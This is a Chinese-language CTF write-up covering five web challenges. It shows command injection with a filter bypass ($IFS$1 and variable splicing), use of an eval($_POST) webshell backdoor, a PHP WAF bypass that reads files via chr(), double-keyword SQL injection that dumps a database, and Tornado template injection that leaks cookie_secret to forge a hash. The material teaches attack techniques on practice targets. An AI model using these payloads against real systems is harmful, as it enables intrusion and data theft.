目录
[GXYCTF2019]Ping Ping Ping
进入目标靶机里,非常简洁明了,只有一个以GET方式传参的提示,那我们随便传一个ip。
/?ip=1;ls看一下都有什么。发现了"flag.php"文件,flag应该就在这里。
/?ip=1;cat flag.php
发现行不通,应该是空格被过滤掉了,要想办法绕过。
这里我使用$IFS$1绕过空格。
但由于我不知道他到底过滤了多少东西,这里我决定先看"index.php"文件。
和我的猜想一样,"index.php"的源代码里,我们看到了被过滤掉的标点,空格,bash,flag的贪婪匹配等等。
但这里我们看到了$a,考虑进行变量拼接。
于是构造Payload为:?ip=1;a=g;cat$IFS$1fla$a.php
在源代码里找到了flag。
PS:读了其他师傅的wp后,才发现这道题不止一种做法,有一种最强的使用了内联也就是``
大家可以多试试,这里我就不一一列举了。
[极客大挑战 2019]Knife
hint给的非常明显,"菜刀"。
eval($_POST["Syc"])这一段是作为后门用post提交一个字符串Syc。
这就没什么好说的了,上菜刀!!!!!!
额,垃圾菜刀,换蚁剑。
在根目录下拿到flag。
[RoarCTF 2019]Easy Calc
查看页面源代码,发现是一个简单的计算器
<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>简单的计算器</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="./libs/bootstrap.min.css"> <script src="./libs/jquery-3.3.1.min.js"></script> <script src="./libs/bootstrap.min.js"></script> </head> <body> <div class="container text-center" style="margin-top:30px;"> <h2>表达式</h2> <form id="calc"> <div class="form-group"> <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes"> </div> <div id="result"><div class="alert alert-success"> </div></div> <button type="submit" class="btn btn-primary">计算</button> </form> </div> <!--I've set up WAF to ensure security.--> <script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script> </body></html>
通过分析源代码可知存在WAF,还有一个新的页面"calc.php",访问一下。
通过分析代码看到了被过滤的字符,结合上述,是WAF无疑,我们要想一下怎么绕过WAF。
这里我们利用PHP的字符串解析特性就能够进行绕过WAF。
构造? num=phpinfo()
由于 / 被过滤掉了,我们选择使用chr(47)代替,进行目录读取。
构造?%20num=var_dump(scandir(chr(47)))
看到了"flagg",接下来读取flag。构造Payload为:
http://node4.buuoj.cn:25311/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
拿到flag。
[极客大挑战 2019] BabySQL
看到了SQL注入试一下万能密码 1'or'1'='1
发现不行,判断是 or 被过滤掉了。
下面继续测试发现select,union等都被过滤掉了。
这里用 || 来替换or,构造Payload为:
check.php?username=admin&password=1'+||+1%3D'1
可以看到登陆成功,下面我们开始SQL注入。被过滤的select和union我们可以双写来代替。
先看字段。
Payload:?username=-1' uniunionon seselectlect 1,2,3 %23 &password=1' || 1='1
成功回显。继续爆库名。
Payload:?username=-1' uniunionon seselectlect 1,2,database() %23 &password=1' || 1='1
数据库名为"geek"。
再看一下其他库名。
Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_schema) frfromom infoorrmation_schema.tables %23 &password=1' || 1='1
看到爆出了很多库名,发现了一个叫"ctf" 的库,我们查看一下。
爆表名。
Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23 &password=1' || 1='1
看一下表的列名,Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf' aandnd table_name='Flag'%23 &password=1' || 1='1
基本可以确定flag就在这,构造Payload:
?username=-1' uniunionon seselectlect 1,2,flag frfromom ctf.Flag %23 &password=1' || 1='1
拿到flag。
[护网杯 2018]easy_tornado
有三个文件我们分别看一下。
看到flag在/fllllllllllllag目录下。
"hints.txt"里给出了filehash的计算公式。
在这里我们看到本题应该是模板注入。
结合题目我们查看一下Tornado是什么东西,发现是一个Web框架。
然后找到了官方的文档,通过阅读发现,我们这道题应该是报错注入,即:
/error?msg={ {***} }
参数不同模板不同。
先试一下,发现ORZ,应该是被过滤掉了。
结合"hints.txt"的内容来看,我们应该是要去拿到cookie_secret的值。
在Tornado框架中,存在一些可以访问的快速对象。
这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings。
所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
因此我们构造Payload为:
error?msg={{handler.settings}}
拿到cookie_secret的值,接下来根据公式进行计算,可以手动MD5,这里使用脚本。
个人觉得python3好用一点。
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="d3fa70da-363e-431a-9d08-d52edddce026"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
拿到MD5加密后的结果:9bd16f26fc937589f9df1ed6ece4ad1d
构造Payload为:
file?filename=/fllllllllllllag&filehash=9bd16f26fc937589f9df1ed6ece4ad1d
拿到flag。
其实是一道简单题,了解了框架内部的环境变量即可。